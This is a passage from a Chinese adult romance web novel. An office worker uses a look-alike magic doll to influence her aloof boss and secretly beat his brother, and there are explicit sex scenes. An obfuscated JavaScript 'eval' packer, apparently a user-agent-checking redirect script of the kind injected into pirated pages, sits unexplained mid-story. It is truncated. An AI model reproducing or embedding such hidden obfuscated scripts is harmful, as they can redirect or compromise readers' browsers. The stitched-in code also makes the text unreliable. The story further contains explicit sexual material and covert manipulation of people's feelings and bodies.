这是池溪第一次体会到这种奇妙的感觉,酥麻的心脏不断跳动着,他刚才的话就像是一只宽厚温热的手,此时贴着她躁动不安的心脏,抚平她的不安与焦虑。 池溪深呼一口气,重新来到父亲身边。正在将子女介绍给其他人的周有望看见她后,微微愣了一瞬。而他身边的女人也明显露出不悦的神情来,但仍旧保持着端庄,没有太过明显。 对方见到池溪,显然也有片刻的愣住。于是主动询问:“这位是....” 周有望只能硬着头皮为对方介绍:“这是我的大女儿,叫池溪。” 池溪落落大方地和对方问好,其实没有拿酒杯的左手早就紧张到快将裙摆给攥破了。 她不安地回头望,企图找到那个给予她底气的身影。果然在距离自己不超过十步距离的地方,看到正在接受别人敬酒的男人。他一米九二的高大身材在人群之中格外显眼。宽肩窄腰的绝佳比例,宽大骨骼与健硕肌肉构建成的强大气场。 深黑色的西装更是让他儒雅禁欲的气质展露无遗。 面对那些人的谄媚奉承,他疏离但也绅士的应对。 或许是察觉到什么,他在饮酒的同时侧头看了一眼。 四目相对,酒杯下的薄唇微微上扬。那是一种肯定的微笑。 做得很好。 她立刻在自己的脑海里用沈决远平时的语气补充了这句话, 沈决远经常在那种时候用这句话夸她。 “做得很好,再含深一点。” “很好,乖孩子。” “你能做到,不是吗。” “再努力一下,全部吃进去。” 他其实很擅长鼓励和赞美式教育。只是他对自己充满了偏见,所以他除了在被娃娃控制情绪的时候会鼓励赞美她之外,其他时候,池溪根本没有这种殊荣待遇。 但是现在,他仿佛时时刻刻都在关注她的一举一动。 池溪想,沈决远说的没有错,是父亲为了满足自己的私欲强行将她接回来,并暴露在大众视野。很显然,他的妻子也同意了这个做法。 可他们不能既要有要,利用她的存在打破谣言,却又在利用完她之后将她弃之不顾,让她独自去面对那些谣言攻击。 甚至还有很多人攻击她早就过世的妈妈。 池溪突然觉得她很卑鄙。 她本该提醒沈决远把唇上和脖子上的唇印擦一擦的。 但不知出于哪种心意,她什么也没说。 于是整场舞会,那些主动邀请他跳一支舞的名媛千金,在看到他脸上的唇印时都选择了退缩。 这显然是个很明显的讯号——他已经有了女伴的讯号。 并且是有过亲密接触的女伴。否则为什么连敏感的喉结处,都留有一个不轻不重的牙印呢。 那是池溪咬的,不止脖子上,如果此刻能够脱下他的西装外套和衬衫,就能发现他宽阔结实的后背,全是女人的指甲抓出来的血痕。 有些甚至还没有愈合结痂。 池溪觉得,疼痛既是一种报复,也是一种标记。 就像是小学的时候在课本上写下自己的名字,用来告诉同学和老师,这是自己的课本,是自己的所有物。 她现在的行为也是一样的道理。 如果她胆子再大一点的话,她真的很想用指甲在他身上写下自己的名字。 好吧,这显然太血腥了。 那天宴会结束后,池溪回了一趟周家,吃了一顿憋屈的晚餐。 不过好在她已经习惯了这种憋屈的人生,所以并不觉得有什么。 但当爸爸在她离开前和她说的那几句话让她陷入一种复杂的情绪当中。 他随便几句没有重量的关心,加上那句:“你永远是爸爸最疼爱的女儿。” 这样的话或许在小的时候能够让池溪感动,可她现在已经不是孩子了。 在饭桌上时,她亲眼看到爸爸将那张附属卡递给了妹妹,祝贺她毕业。 而同样刚毕业的池溪却连句祝福的话都没有。 只有回去前那句:“你永远是爸爸最疼爱的女儿。” 她清楚,甚至连这句话都是虚假的。只是为了稳住她,不让她在这个节骨眼子闹出什么乱子,毁了他的前程。 陀思妥耶夫斯基有句话说得很好——我拮据得只想上吊。 既然父爱是虚假的,那就给她点真实的金钱吧。 拜托了,谁都好,拿钱羞辱她吧。用厚厚的人民币狠狠扇她的脸吧,她接受这种羞辱。 唉,可惜爱和金钱她都没有。 她只有一个娃娃。 是的,那个娃娃回来了。 ——这是第一个好消息。 那个让她夜不能寐食不下咽的娃娃和它无声无息的失踪一样,又无声无息地回到了她的房间。 池溪从周家回来之后就看到了放在床上的娃娃。那张和沈决远几乎一样的脸,唯独缺少了他身上那种似有若无的冷淡气场。 她想,看来沈司桥那条狗终于良心发现了一次。或许他是看到自己真的和他哥哥‘在一起’后,开始对她心生敬畏了? 但愿如此吧,这样就不用继续来烦她了。 另外一件好事就是,她不用住在那个偏僻的院落了。 她搬到了沈决远的隔壁,据说是他安排的。 她以为他用的理由是刚好他隔壁有空房,后来才知道他什么理由也没用,只是在吃饭的时候随口提了一句:“那就让她搬到我隔壁。” 于是这件事就这么定了下来。 池溪差点忘了他在这个家里的威信。就连沈叔叔都不敢反驳他的话。 不管怎么说,新的住所比起之前那个,舒适度是两位数的倍数。 池溪窝在里面度过了一个悠闲的周末,白天和朋友开黑玩游戏,晚上则缩在被窝里用怕平板看tl漫,耳机里则播放着18r乙女抓。 降噪耳机隔绝了外部的杂音,那种身临其境感让池溪很快就进入了状态。 就连舔舐耳朵的水声都异常真实,伴随着cv加重的呼吸声。 池溪却不像以往那么兴奋,甚至连放在抽屉里的助兴小玩具都没有拿出来。 她放下平板,躺在床上,双眼无神的看着天花板。 尝过顶级珍馐之后,就没办法再去吃平价食品了。 和沈决远比起来,降噪耳机里的这些声音都变得平平无奇。 池溪不知道自己究竟是哪里来的胆子,可能是夜晚能让将人情绪放大,也可能是色胆包天。 很难想象,绅士优雅的沈决远,在床上也会说出那些下流的话来。 他的下属知道那个严肃沉稳的上司时,也会挺着腰将别人按在墙上吗。 知道他在晚上会穿着绅士优雅的西装去舔别人的-吗。 作为他的下属,恐怕只有池溪一个人知道。 - 原本以为对自己心生敬畏的沈司桥,却在安静了两天之后,醉醺醺地过来找她。 池溪几乎已经习惯了沈司桥时不时的骚扰。 他每次在外面通宵嗨完都会来她这里。 “你和我哥到底是时候搞到一块去的?我告诉你,我哥顶多就是和你玩玩而已,你真的以为你能和你那个软饭男老爸一样,以这种方式改变人生?” 池溪懒得理他,反正也赶不走他,还不如当他不存在。池溪走到盥洗室刷牙,沈司桥就去房门那里靠着:“我哥和你做的时候是不是每次都戴了套?他不可能内-射你的。你知道为什么吗,因为他不可能让他的孩子出现在你的肚子里。你也别做那些母凭子贵的梦了。” 池溪嘴里塞着牙刷,翻了个大大的白眼。 她真的希望沈司桥下次飙车的时候出个意外,最好能够直接把这张嘴给摔哑了。 “那又怎样?”池溪实在是忍无可忍,吐出嘴巴里的牙膏沫,“就算是这样,我也喜欢他。我喜欢沈决远...不,是爱,我爱沈决远,爱他爱得要命,不求回报的爱。我很早就爱上他了,从我还在我妈妈肚子里的时候我就知道等我出生之后我要爱这么一个人。你懂什么叫做命中注定吗?我命中注定就要爱上沈决远。他如果想玩我,我愿意让他玩。” 她一股脑地说出了一连串她自己都觉得肉麻的话。 这番话当然不是出于真心,她还没有蠢到这种地步,只是为了反击沈司桥而已。 虽然她也不清楚这番反击有什么用,但看到沈司桥闭上嘴,露出那副复杂的神情。她顿时爽了。 很快,屋外的动静引起了池溪的注意,像是有人从房门外走了过去。 池溪生怕刚才的对话被家里的佣人听见然后传到郑伯母和沈伯父的耳中。 他们本来就担心她和沈司桥走到一块去。 可当她走过去打开门,外面却空无一人,只有空气中遗留的那股很淡的檀木熏香的气息没有彻底消散。 这极具辨识度的气息,池溪几乎是立刻猜出了是谁。 她想到自己刚才说的那些话...耳根瞬间因为尴尬而红透了。 他应该没有听到吧? - 郑伯母发现了沈司桥的异常。 这段时间以来,他的脸上总是有着新鲜的巴掌印,而他本人最近的精神状态也很一般,倦怠萎靡,像是没有休息好。 饭桌上,郑伯母担忧地问道:“脸是怎么回事,前天还只有一道印记,今天怎么多出了这么多。还是让私人医生来家里看看吧” 她伸手要去碰,想问他疼不疼。但被沈司桥不耐烦地拍开:“我没事。让医生来还不如找几个神婆给我驱驱魔” 他觉得自己八成是被什么不干净的东西给缠上了,否则为什么总是莫名其妙的凭空挨一巴掌。 第一次是在酒吧,他还以为是旁边那个人扇的,甚至还将对方按在地上揍了一顿。 第二次则是在洗澡的时候,浴室里就他一个人,左脸突然传来一阵痛感。 他甚至能够感受到那种巴掌扇在脸上时的温度。 更别提每次他快睡着了,又被那种被针扎的痛感给搞醒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过...更令她感到不解的一点是,他似乎对于他母亲的身体状况没有太大的情绪波动。仿佛对方只是一个陌生人。 但根据沈决远平时的回答,他的母亲在对他的成长中一直充当着一个合格的母亲角色。 他对沈伯伯冷淡池溪觉得无可厚非,毕竟他们相处的时间还没有陌生人长。 可他不该对他的母亲也如此冷淡。 这份冷淡反而显得有些不正常。 “你母亲的身体我都听说了。”沈伯父叹了口气,“等下周没那么忙了,我会亲自过去探望一番。” “不用那么麻烦。”沈决远平静道,他的眼里没有任何多余的情绪,只有从容的理性,“葬礼时再去也一样。” 沈伯父的表情有片刻的冻住,那是一种尴尬的僵愣。 的确,他与沈决远的母亲如今和陌生人没有区别。甚至连当时的分开也没有那么愉快,没必要在她离开前去碍她的眼。 池溪在旁边安静听着八卦,同时在心里思考,沈决远的母亲去世,她需要去参加葬礼吗? 等她重新将注意力从这件事上移开时,发现沈决远正看着她。 本就晦暗不明的情绪被镜片遮挡一部分,能够被她捕捉到的更是微乎其微。 她心虚地坐直身体,有一种被他看穿了的感觉。 他太聪明了,聪明到让人感到恐怖的程度。所以池溪总是担心他会发现一切。 沈予亨又和沈决远聊起现在商界发生的一些动荡,近来多家企业先后因为资金问题进行产权转让,多少让人心底不安。 沈决远语气冰冷:“只是市场进入寒冬的常规步骤而已。” “可是连你段叔叔也.....” 他打断他,温和的表面下是丧失耐心的寡淡:“模式老旧,行业衰败。和人的生老病死一样。您不用担心,我会处理好一切的事情再回北欧。” 沈决远那张立体的顶级骨相和挪威的冬天一样,带着深邃的寒冷。 他并不是平易近人的气质,相反,那种傲慢锋利的强大气场让他看上去高高在上。 黑灰色的西装三件套,搭配那件黑色羊绒大衣,锋利的眉骨与深邃的眼底带着几分漫不经心的压迫感。 最后那句话无疑是定心丸,让沈伯父那颗七上八下的心脏落回了原处。 沈决远直接离开了,这次并没有礼貌的说一些多余的话。 池溪看到他边走边点燃一支烟,背影都透着一种烦躁。 不知道为什么,她总觉得今天的沈决远今天的情绪有些糟糕。即使他并没有表现出来。 但池溪觉得这也正常,毕竟这人骨子里天生就带着傲慢。 如果不是那个娃娃,恐怕直到现在,她都没有接近他的机会。 - 沈司桥因为前段时间飙车不小心撞了人,他爸为了惩罚他停了他的卡。 这对挥金如土的沈司桥来说,简直比直接要他的命还要难受。 所以他只能在吃完饭后去找他哥求情。 虽然在得知他哥和池溪之间的关系后,沈司桥对他哥的存在感到很复杂。 甚至为了让他看清池溪是个怎样‘变态’的人,他特地将那个娃娃还给了他哥。 他不清楚他哥看到那个和自己长相完全一致的娃娃时,内心是怎样的感受。 但沈司桥没少添油加醋:“她自己都承认这个娃娃是很早之前买的,说明她那个时候就对你心存不轨。哥,你千万别被她算计了。” 他哥只是气定神闲地看了一眼那个娃娃,随后将它放在桌上。语气平淡地回给他一句:“我知道了。” 沈司桥相信,他哥这么聪明的人,怎么可能看不穿池溪那么拙劣的伪装。 他现在肯定对她腻了。 不论是她这个人还是她的身体,也该腻了。 “哥,你去帮我替爸求求情,我的卡他已经停了一周了,这个月的零花钱只有三百万。而且他还派人盯着我,我想卖车都卖不了。” 沈决远来到中国之后,大部分的海外产业只能在线上进行。今天这场线上会议十分重要。 沈决远没有理会他:“我在工作,等我忙完再说。” 或许是他的语气相对来说还算温和,所以沈司桥没有以往那么畏惧他。 “哥,你打一通电话就行,爸什么都会听你......” ——啪 他没说完的话被一阵清脆无比的巴掌声给打断。 沈司桥在池溪这里的待遇简直和沈决远天壤之别。 她打他之前还得提前热好身,然后活动活动筋骨,最后胳膊抡圆了扇下来。 所以那个巴掌印比沈决远之前的更加明显。 娇小的巴掌印,手指并不纤细,而是带着一种柔软的肉感。 这双手其实很有辨识度,只要见过就会记住。 但没人会去留意对方的手。 除非是有过数次亲密行为的彼此。 沈司桥捂着被打疼的脸:“靠,真是见鬼了。这股香水味最近也像鬼一样缠着我,哥,你闻到没.....” “出去。”这次打断他的是男人简短的逐客令。 沈司桥的目的还没达成,不愿意离开。 他把手从脸上放下来,那个巴掌印也因此暴露在视野里:“哥,我....” 男人深邃幽暗的眼底喜怒难辨,压低的声音带着几分克制的情绪:“我让你滚出去!” 16.第十六章 沈司桥出去之后仍旧感到后怕。 虽然他哥的情绪肉眼看没有发生变化,但他还是能够察觉到他是真的动怒了。 不过他挨打他哥为什么会生气? 在那个家里,连他爸都不敢得罪他哥,更何况是他。 即使他是个天不怕地不怕的混蛋二世祖。 但在沈司桥的眼中,他哥无疑是世界上最可怕的人。 怎么说呢,沈司桥能够感觉到,他没有亲情。 不仅没有亲情,他甚至缺乏其他感情,就像是一个有自己思想的机器人。 对任何人都一视同仁,那种向下的无动于衷让他显得很公平。 即使他对外展示出的是他绅士的一面,但在他那里,所有人都没有第二次机会。 沈司桥亲眼目睹过。对方是一位和沈家合作很久的供货方,有一批的质量出现了问题,他哥当时并没有说什么。 甚至在对方离开时,周到的派了司机相送。 只是那次之后,他彻底拒绝了对方的供货渠道。 沈家是最大的生产商,断了和沈家的合作意味着所有的库存都要无限期挤压。后续的亏损足够让一个企业宣告破产。 即使对方先后登门道歉,说那次只是一个失误。 就连沈予亨都劝沈决远:“我们合作很久了,他是信得过的。” 沈决远坐在沙发上,眉目平淡,身上的西装加深了他此刻的优雅从容。 他只是轻描淡写地驳回了他的话:“按照我说的去做吧。” 他对长辈有该有的礼貌与教养。 但也只有那点浮于表面的礼貌了。 想到这里,沈司桥根本不敢和他哥对着来。 他捂着被打疼的脸从沈决远的书房出来,郑娴瞧见了,还以为他是被沈决远打的,立马心疼地上前:“让你平时少打扰你哥,你不听。我看看,很严重吗?” 沈司桥避开了他妈的手:“没事,不是哥打的。” “难道又是....”郑娴皱着眉,更加担忧,“看来还是得找个算命先生来家里算算,总这样也不行。” 越是有钱人就越迷信,找风水大师和算命先生几乎是一种传统了。 沈司桥心里郁闷,没说什么,随他妈去了。 此时此刻,躲在阴暗角落里的罪魁祸首发出了得逞的桀桀桀笑声。 “桀桀桀。” “桀桀桀。” 池溪最近和沈决远见面的次数少了,没了娃娃的助力,加上在公司又是不同职位和阶层。一个董事长,一个底层员工,本来就不可能有交集。 池溪反而松了一口气,至少不用担心随时随地大小做了。 也不用担心沈决远发现真相后,她会面临怎样悲惨的遭遇。 掌控一切的上位者是无法接受自己是被玩弄的那一方的。 更何况是沈决远。 他玩别人跟逗狗一样简单。 郑伯母花了五百万搞的驱魔仪式显然没什么用。发生在沈司桥身上的怪事还在继续。 池溪也只有吃饭的时候才能和他们坐在一张桌子上。 今天的沈司桥更加没什么精神。 “我真的觉得那股香味很熟悉......洗澡能闻到,睡觉也能闻到,就连在空无一人的山上飙车也他妈能闻到。”沈司桥懒洋洋地按着自己的肩膀活动了下筋骨这段时间他开始浑身酸痛,像是被谁当成沙包揍了。 他大言不惭道,“缠上我的该不会是一个欲求不满的女鬼吧?说不定是看上我了想睡我。难怪我觉得最近每天晚上都被什么东西压了。靠,我被一个女鬼草了?” 池溪:“???????” 不许造她黄谣,她什么时候压过他了? 她只是单纯地把他当成沙包揍了一顿而已。 性格正经的沈予亨显然无法接受自己的儿子说出这样的话来。 更何况还有其他人也在。 他皱着眉,刚要提醒他注意言辞。 咔擦一声闷响,打断了他到嘴边的话。 所有人都抬起头,纷纷看向声源处。 池溪惊恐地发现沈决远手中那把纯银餐叉居然被硬生生折断了。 当事人却只是淡定地松开手,气定神闲地让一旁的佣人重新换一份餐具。 他全程没什么话,安静用餐。 脸上的无动于衷像是一层面具,掩盖了此时真正的情绪。 池溪看着他捏断餐叉的那只手。 属于男性的宽大手掌,凸起的青筋像巍峨的山脉一般,坚实遒劲地攀爬在他的手背上。 无法想象他刚才用了多大的力气,也无法想象他的力气究竟有多大。 嗯...从他可以单手抱起自己,还毫不费力,可以看出他的力气应该比她想象的还要大。 那顿饭吃完池溪早早地离开了。周末双休,她打算复习一下功课,作为即将毕业的学生,她在思考自己要不要继续考研。 实在是工作的地方学历卷的太严重了,随便一个实习生都是985硕士。 书本还没摊开,就收到了沈决远发来的信息。 ——上周的策划案有几处问题需要修改。 ——过来找我。 文字无法传递情绪,这两句话看上去是冷冰冰的命令。 池溪想,就算是语音其实也没什么区别。 她能听到的也只会是冷冰冰的命令。 在公司要工作,在家里也要工作,该死的资本家。 而且这份策划案都过去多久了,也不是她在跟,她哪里知道什么地方应该怎么修改? 算了,谁让她是命苦的打工人呢。 池溪只能收起手机,默默地往他的书房走,同时在心里计算,现在这种情况她可以收取加班费吗? 半个小时后,池溪坐在沈决远的腿上,昏昏沉沉地回想她来找他的目的到底是什么。 至少应该不是坐在他的腿上,张开嘴巴让他的舌头伸进来。 她想起前天在公司,部门里那些女同事聊天的内容。 “你不觉得沈董很带劲吗,那种很色气的带劲。明明优雅沉稳,却有着意想不到的劲爆带感的肌肉型身材。” 就算每天都穿的一丝不苟,西装将他的身体遮的严严实实,但还是给人一种他能干很久的性张力,会冷着脸严厉地把人按在膝盖上脱掉裤子打屁股。 微微一副见过他身体的样子,描绘起来非常具体,甚至还馋到吞咽口水,“我上次来公司,刚好在公司楼下见到沈董。他从车上下来,啧啧啧,那个身材线条,他下车的时候我都看见了,衬衫都绷紧了。” 那是一种由气场与身材叠加构成的性魅力,经过厚重的阅历与岁月浸润后的产物。 池溪想,微微说的没有错。 她此刻的手就放在他的手臂上,隔着衬衫能够感受到轮廓明显的肌肉线条,硬梆梆的。 他亲的急促且用力,池溪的嘴巴被他的舌头填满了,只能发出呜呜呜的声音。 两条湿热的舌头纠缠在一起,池溪完全被压制,被他卷出去吸裹在口中,然后再松开放出来。等她张开嘴唇想要获取氧气时,他又以强势的力道再次将自己的舌头侵入她的口腔。 柔软湿润的口腔,只有那么一点空间,挤占着两条舌头。 “最近闻不到了。”他的舌头从她被搅-弄得一塌糊涂的口腔内离开,唇贴着她的唇,鼻尖抵着她的鼻尖轻蹭。 宽大的手掌仍旧轻轻摩挲抚摸着她的后脑勺。说话时,轻微的喘息声很性感。 “什么?”池溪被这个持续很久的法式湿吻弄到丧失思考能力。 “香水味。”他说,“换香水了吗?” 呼吸了新鲜的氧气之后,池溪的理智逐渐恢复:“没有换.....因为还有很多,想着用完了再说。” 她其实还挺喜欢这个味道的,虽然被沈决远刻薄的打上廉价标签。 “是吗。”他低头在她脖子上吻了吻,他的声音沙哑冷淡,却意有所指,“看来只有我闻不到。” 池溪也低头去闻,那股香味明明很明显。她就算不低头也能闻到,更何况是直接靠近喷过香水的脖子。 那种香甜的味道非常直接地进入了鼻腔。 “你和司桥最近怎么样?”手边放着醒好的红酒,以及两只透明的高脚杯,其中一杯已经喝了大半。沈决远拿起酒杯喝了一口,淡定自若的切换了话题。 “呃....”因为最近对沈司桥做的那些报复行为让池溪在提到他的时候有些心虚,“我和他挺好的呀,我们本来就认识很久了。” 为了撇清自己和最近发生在沈司桥身上的那些怪异事情的关系,池溪极力表现出他们关系很好的样子。 “我第一次来北城就认识他了,那个时候我只有十八岁,所以认识很久了,我们.....” 桌上的酒杯不小心掉到地上,玻璃碎屑和红酒摔了一地。破碎的声音打断了池溪接下来要说的话。 池溪天生牛马命,居然下意识要去打扫。但被沈决远阻止,他面无表情:“放着吧,等结束了会有人进来打扫。” 她捕捉到这句话里的关键信息。 ——等结束了。 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她的衣服被揉的乱七八糟,池溪脸色潮红:“这里...是这样修改吗?” “不对。”他惩罚一般将指腹收紧,用力捏住,甚至还向外扯了扯。池溪分不清是疼痛还是别的,轻轻哼出了声。 “刚才为什么不认真听,这里我讲了两遍。” “对..对不起。”她松开鼠标,轻声道歉。 他很轻地叹了口气,把领带解了。 既然做错了,就要接受惩罚。 但即使是惩罚,也有选择权。 他问她:“想要从前面还是后面?” 知道他问的是什么,池溪的心脏颤了颤:“后...后面吧。” 她听见了皮带被解开的声音,以及男人温和的命令:“趴下去,扶稳书桌。” 池溪不清楚那个娃娃已经换了绑定人,为什么还能对沈决远奏效。 这个情节和她不久前看过的一部漫画一模一样。 社畜女主和冰山上司因为种种原因住在了一起,白天在公司形同陌路,晚上回到家后冰山上司给社畜女主开小灶教她如何修改策划案。 当然不止是修改策划案。 里面女主的生活简直是她梦想的样子,不仅可以白嫖上司的身体,还可以白嫖他的一对一辅导课。对于池溪来说,董事长手把手给她补课简直是一种奢侈至极的幻想。 她甚至还专门为这部漫画在论坛发了一个推荐帖。 虽然很快就有人点评这部漫画是——牛马猝死前的性幻想。 但她的账号三天前被盗过一次,昨天才找回来。 对方一点盗号的痕迹也没留,应该不是太低端的盗号狗。 可是她不清楚论坛账号有什么好盗的。 并且对方盗号之后什么也没做。 她的账号没有发过广告,也没有去一些打榜贴给那些明星打榜。 似乎只是为了盗号而盗号。 好吧,倒是有个地方。 那个只对自己可见,她一个人回帖三千多楼,专门用来辱骂上司的日记帖被删了。 虽然满屏的‘去死吧’,但她不是真的希望沈决远去死。 毕竟只是她用来发泄负面情绪的地方。 惹到她算是惹到了全世界最好惹的人,因为她再生气也只敢在她自己可见的帖子里发一些没什么用的话。 ——狗男人今天又无视我了。 ——该死的混血老外,说我的策划案像一团看不懂的乱码。 ——今天说我是佣人,气的我满地乱爬(没有真的爬) ——去死吧去死去把去死吧去死吧去死吧。 ——人虽然刻薄,但胸肌还不错。 ——去死吧去死吧去死吧居然敢嫌弃我泡的咖啡。 ——他身上好香啊。 ——不同意我蹭他的车!害我迟到了! ——摸到他的胸了,好大好软好结实好大好软好结实好大..... ——贱男人贱男人贱男人贱男人贱男人去死吧去死吧去死吧去死吧 ——外国人都这么大吗∑( 口 || ——该死的sjy,去死吧。咸鱼总有翻身的一天!等着吧!我迟早有一天会骑在你的脖子上! ——今天在他的脸上坐了两个小时,看来骑脖子指日可待。 ——傲慢的贱男人。 ——去死吧去死吧去死吧去死吧.... 17.第十七章 池溪终于实现了她日记里的大言不惭。 这一次她真的成功骑在了他的脖子上。 她满脑子只剩下一个想法。 他的喉结好硬,脖子修长结实。 池溪身体微微朝后仰,双手按在他的胸口,呼吸变得急促不受控制,牙齿咬紧下唇不让自己哼出来。 沈司桥来找他哥的时候,刚好听见池溪带着哭腔,声音高亢地说的那一句:“要去...去了——” 不知道过了多久,等池溪休息好了抱着电脑出去的时候,刚好看到站在外面的沈司桥,他的眼神有些难看,脸色也是。 池溪被他吓了一跳,裙子下的腿还有点软:“你怎么在这里?” 沈司桥语气僵硬:“我来找我哥,你呢?” 池溪有点心虚,故作松弛地抱紧怀中的笔记本电脑:“沈董找我处理了一点工作,现在在洗澡。你还是等他洗完了再进去吧。” 沈司桥逼问她:“什么工作需要结束后洗澡?” “不是...是我不小心把水弄洒在他身上了。”池溪并没有撒谎,他去洗澡的原因的确是因为被水弄湿。 而她也的确是那个罪魁祸首。 她不想继续在这里和沈司桥浪费时间,她忙着回去换衣服。 连衣裙下面空荡荡的,什么也没穿的感觉让她感到非常不适。 池溪直接忽略了沈司桥后面的问题,转身头也不回地走了。 - 沈予亨发现,最近家里的氛围很奇怪。这种奇怪主要集中在司桥和池溪身上。 两人像是闹了别扭,司桥也不像平时那样,会在饭桌上时不时地出言调侃她几句。 郑娴想到那天在池溪身上看到的吻痕,于是将自己的担忧和沈予亨讲了一遍:“司桥和小溪年纪相仿,又住在一个屋檐下,我担心他们两个迟早会萌生出男女之间的感情。” 沈予亨对此没什么看法:“孩子们的事情让他们自己去处理,男未婚女未嫁,有感情不是很正常吗。” “可是....”郑娴替他整理领带,“我不是对小溪有偏见,但那孩子的身份的确有些上不了台面。” 她的话也不无道理,沈予亨听完后沉默几秒,宽慰郑娴:“放心,最多再住一个月,有望的竞选也要结束了。而且司桥那孩子向来挑剔,小溪性格老实,不是他喜欢的类型。” 郑娴拿来提前熨烫好的西装外套替他穿上:“说是这么说,可他现在还是孩子心性,一切都不好说。如果他能像他哥哥那样稳重就好了。” 这话确实。 不过沈予亨反倒是忧心自己大儿子这一点。他的事业心太强,重此轻彼,其他地方就显得过于冷淡。 男女之事尤为不上心。 更不可能会被小溪那样的孩子给吸引。 中国人对传宗接代这种事情往往更加看重,沈予亨其实不怎么期待司桥,他这个性子也养不成什么优秀的后代来。 决远优秀的基因才更应该被抓紧传承下去,这样沈家的产业才有希望。 为了减少池溪和沈司桥碰面的几率,郑娴最近一有空就拉着池溪去参加自己的姐妹聚会。 池溪还是第一次参加这种富婆的茶话会,除了聊资产管理之外,就是一些上流社会的高端话题。 池溪听不懂那些没听过的牌子究竟是什么,全程除了帮忙切甜品就是倒茶。 偶尔还得替上了年纪容易腰酸背痛的富太太捏捏肩,临了收获了一条Burberry的丝巾,Van Cleef & Arpels的手链,和爱马仕的铂金包。 好吧,虽然感觉自己在这些茶会上的唯一用处就是当保姆,但这个薪资实在过于丰厚。 回去的车上,郑伯母笑着和她说:“会不会太无聊了?我们聊天的内容和你们年轻女孩不同,你觉得无聊也很正常。” 池溪立刻摇头,笑容温顺乖巧:“不会啊,大家都很友善,对我也很好,和伯母一样。” 所以以后再有类似的活动拜托一定要叫上她。 听了她的话,郑伯母才放心地笑了:“下周有个朋友给她的泰迪犬举办三岁生日宴,到时候你也一起去坐坐吧。” 今天大降温,罕见地开始下起了雪。 池溪刚从郑伯母的车上离开,中间不过二十分钟,她就去找了沈决远。庄园特别大,沈决远的住所相对安静。 因为他这个人讨厌吵闹,所以搬到他隔壁之后,池溪每次都会控制自己的音量,包括打游戏也不敢太大声。 她想去找他拿回自己的内裤,上次遗落在他那里忘了带走。 她去找他的时候被人拦住。 对方说沈先生在里面泡温泉:“结束了您再过来吧。” 这老外还挺会享受。 池溪笑容人畜无害:“我是过来拿东西的,你放心,我拿了就走。” 池溪还以为她需要再多费些口舌,但对方很轻易地就让她进去了。 仿佛刚才的阻拦只是走走过场而已。 池溪走了进去,穿过长廊来到一个露天的庭院。 四周被高墙垒起,中式庭院风格雅致,温泉的热气蒸腾在绿竹之间,像是烟雾缭绕的仙境。 中间是一个巨大的天然温泉,周围用石头砌出一条路。 有人泡在里面。没穿上衣,后背靠着温泉石壁,结实的手臂搭在边沿。发达的肱二头肌与肱三头肌即使在不用力的前提下也格外明显。 饱满的胸大肌随着呼吸微微起伏。 外国人的...颜色都这么干净好看吗。 对方显然也注意到了她。 但他什么也没说,只是那双深邃的眼睛平淡抬起,没什么情绪地注视着她。 然后...池溪鬼使神差地走了过去。 半个小时后—— 一起泡在温泉内的池溪好几次下坠,那种淹水的窒息感让她沈决远成为她唯一的依附。 她抱着他,不肯离开他的唇,想从他的口腔里获得氧气。 不会游泳的恐惧让她心跳加速。 所以在他的手指靠近时,她没有拒绝。 她心跳加速地想,究竟是三根手指还是四根,为什么会有这么惊人的滞涩感。 她表现的非常没有出息。 几乎是刚开始就结束了,就连五秒的时间都没有坚持,她缩在他的怀里剧烈颤栗。 沈决远抱她出水面,顺势将她按在温泉壁上,她的上半身是趴在上面的。 很顺利。 “呃...” 他从身后抱她:“司桥这几天一直在找你。” 她的声音像是都被撞碎的瓷器,断断续续的:“找我..啊找我做什么....” “你这个当事人不知道,我又怎么可能知道。”他说。 池溪悄悄偏头往后看了一眼,沈决远从她的后背离开,但他没有离开。 他的湿发随意的往后捋,几缕碎发垂落。 那张骨相立体的脸毫无遮挡地露出来。锋利明晰的轮廓线条,总是让池溪联想到冰冷的雪山和危险的利刃。 但此时,微微眯起的双眸代表他正处在一种餍足享受的状态中。 单手按着她的后腰,另一只手抓着她的手腕。 能清楚地看见他所有的肌肉线条走向。饱满的轮廓和形状,蕴含其中的力量正在逐渐爆发出来。 随着他的每一次动作,池溪甚至可以看见他胸肌的震颤。 “他最近和公司请了长假。”沈决远没有明说请假的原因,但池溪这个始作俑者心里清楚。 池溪心虚:“我觉得可能只是他的心理作用,或者他得癔症了.....世界上哪有这么邪门的事情,又不是写小说。” “如果没有经历和他相同的事,我或许真会认为你说的有道理。”他放慢了速度,不紧不慢的动着,语气平淡,“可他口中描述的那股味道,就在不久前,我还每天都能闻到。” 如果沈决远的手此时放在她的胸前,一定能够感受到她疯狂跳动的心脏。那是她因为过度心虚和害怕导致的。 “那...或许是你们家族遗传的癔症。” “......” 池溪唯一庆幸的是沈决远没有继续追问下去。否则以她的心理承受能力和他的城府心机,恐怕不超过五句就被成功套话。 但沈决远也没打算放过她:“我再问一遍,你和司桥除了是朋友之外,还有别的关系吗?” 池溪抿了抿唇,心脏跳的更快。 “我没有撒谎,我们真的没有什么关系....”她觉得这个三观自己还是有的。不可能脚踏两只船。 “很好。”让她感动的是,沈决远没有继续怀疑她。 而是把她抱起来,放在怀中温柔地亲吻,甚至夸奖她,“诚实听话的好孩子会有应得的奖励。” 池溪心跳加速,面红耳赤。不知道为什么,她完全无法抗拒沈决远用这种长辈的口吻和她说话。 他的确比她大六岁,可六岁的差距并不算特别多,至少他们是同辈份的人。 可每当他用这种口吻语气和她说话时,池溪都会有一种,daddy的感觉。 当然和她那个爱慕虚荣的爸爸不同。 是真正意义上的daddy,那种游刃有余掌控一切的安全感。 包括掌控她。 池溪没出息的想,如果奖励是这个吻的话,看来她以后要更诚实一点了。 直到结束周末假期,周一去到公司后,她才得知自己居然升职了。原因竟然是跟的那个项目很成功,年利率拉高了0.3个百分点。 同事们围着她祝贺,池溪则完全在状况外。 微微挽着她的胳膊:“升组长了记得请客。” 她笑容心虚地点头:“当...当然。” 意外地,这些同事居然并不觉得只有她升职是一件不公平的事情。 直到后面池溪才知道,沈决远将他亲手修改的策划案写上了池溪的名字。 虽然她的确有参与,但完全是在沈决远手把手的教导下.... 